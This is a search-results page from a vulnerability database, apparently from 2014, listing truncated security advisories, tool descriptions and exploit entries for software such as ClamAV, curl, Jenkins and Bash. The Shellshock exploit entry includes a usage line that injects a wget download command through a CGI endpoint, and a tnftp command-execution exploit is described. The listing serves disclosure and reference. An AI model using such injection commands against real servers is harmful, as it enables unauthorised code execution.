8267 matches found
PT-2014-8810 · Cisco +2 · Clamav +2
Name of the Vulnerable Software and Affected Versions: ClamAV versions prior to 0.98.5 Description: The issue is related to a heap-based buffer overflow in the cli scanpe function, which can be triggered by a crafted y0da Crypter PE file, allowing remote attackers to cause a denial of service...
DAMM - Differential Analysis of Malware in Memory
An open source memory analysis tool built on top of Volatility. It is meant as a proving ground for interesting new techniques to be made available to the community. These techniques are an attempt to speed up the investigation process through data reduction and codifying some expert knowledge...
Mandriva Linux Security Advisory : curl (MDVSA-2014:213)
Updated curl packages fix security vulnerability : Symeon Paraschoudis discovered that the curleasyduphandle function in cURL has a bug that can lead to libcurl eventually sending off sensitive data that was not intended for sending, while performing a HTTP POST operation. This bug requires...
[SECURITY] Fedora 20 Update: oath-toolkit-2.4.1-6.fc20
The OATH Toolkit provide components for building one-time password authentication systems. It contains shared libraries, command line tools an d a PAM module. Supported technologies include the event-based HOTP algorithm RFC4226 and the time-based TOTP algorithm RFC6238. OATH stands for Open...
WhoisCL - Get WHOIS records from command-line
WhoisCL is a simple command-line utility that allows you to easily get information about a registered domain. It automatically connect to the right WHOIS server, according to the top-level domain name, and retrieve the WHOIS record of the domain. It supports both generic domains and country code...
Let the top of the Bash broken shell vulnerability is no longer difficult to understand under-the vulnerability warning-the black bar safety net
On the security of popular science: let the top of the Bash broken shell vulnerability is no longer difficult to understand onwe describe a lot of the basics, now it's time for us to build an environment of actual combat. Required environment description Virtual machine: Recommended to use...
[SECURITY] Fedora 20 Update: curl-7.32.0-15.fc20
curl is a command line tool for transferring data with URL syntax, supporti ng FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS, FILE, I MAP, SMTP, POP3 and RTSP. curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies,...
tnftp "savefile" Arbitrary Command Execution Exploit
This module exploits an arbitrary command execution vulnerability in tnftp's handling of the resolved output filename - called "savefile" in the source - from a requested resource. If tnftp is executed without the -o command-line option, it will resolve the output filename from the last component...
ZMap 1.2.1 - The Internet Scanner
ZMap is an open-source network scanner that enables researchers to easily perform Internet-wide network studies. With a single machine and a well provisioned network uplink, ZMap is capable of performing a complete scan of the IPv4 address space in under 45 minutes, approaching the theoretical...
Arachni v1.0 - Web Application Security Scanner Framework
Arachni is an Open Source, feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of web applications. It is smart, it trains itself by monitoring and learning from the web application's behavior during the scan...
WirelessNetView - Wireless Network Monitoring Tool
WirelessNetView is a small utility that runs in the background, and monitor the activity of wireless networks around you. For each detected network, it displays the following information: SSID, Last Signal Quality, Average Signal Quality, Detection Counter, Authentication Algorithm, Cipher...
jenkins: remote code execution flaw (SECURITY-150)
Jenkins before 1.583 and LTS before 1.565.3 allows remote attackers to execute arbitrary code via a crafted packet to the CLI channel...
jenkins: denial of service (SECURITY-87)
Jenkins before 1.583 and LTS before 1.565.3 allows remote attackers to cause a denial of service thread consumption via vectors related to a CLI handshake...
[SECURITY] Fedora 19 Update: curl-7.29.0-23.fc19
curl is a command line tool for transferring data with URL syntax, supporti ng FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS, FILE, I MAP, SMTP, POP3 and RTSP. curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies,...
[SECURITY] Fedora 19 Update: fish-2.1.1-1.fc19
fish is a fully-equipped command line shell like bash or zsh that is smart and user-friendly. fish supports powerful features like syntax highlighting, autosuggestions, and tab completions that just work, with nothing to learn or configure...
Apple — Most Mac OS X Users Not Vulnerable to 'Shellshock' Bash Bug
On one hand where more than half of the Internet is considering the Bash vulnerability to be severe, Apple says the vast majority of Mac computer users are not at risk from the recently discovered vulnerability in the Bash command-line interpreter – aka the "Shellshock" bug that could allow hacke...
Bash - 'Shellshock' Environment Variables Command Injection
/cgi-bin/ -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271remotecodeexecutionthroughbash/ Test CGI Code : !/bin/bash echo "Content-type: text/html" echo "" echo...
Cisco IOS XR Software Information Disclosure Vulnerability
A vulnerability in the command-line interface CLI of Cisco IOS XR Software could allow an authenticated, remote attacker to access sensitive information. The vulnerability is due to insufficient data protection of sensitive information. An attacker could exploit this vulnerability by issuing...
Katello: CLI - user without access can call "system remove_deletion" command
Katello allows remote authenticated users to call the "system removedeletion" CLI command via vectors related to "remove system" permissions...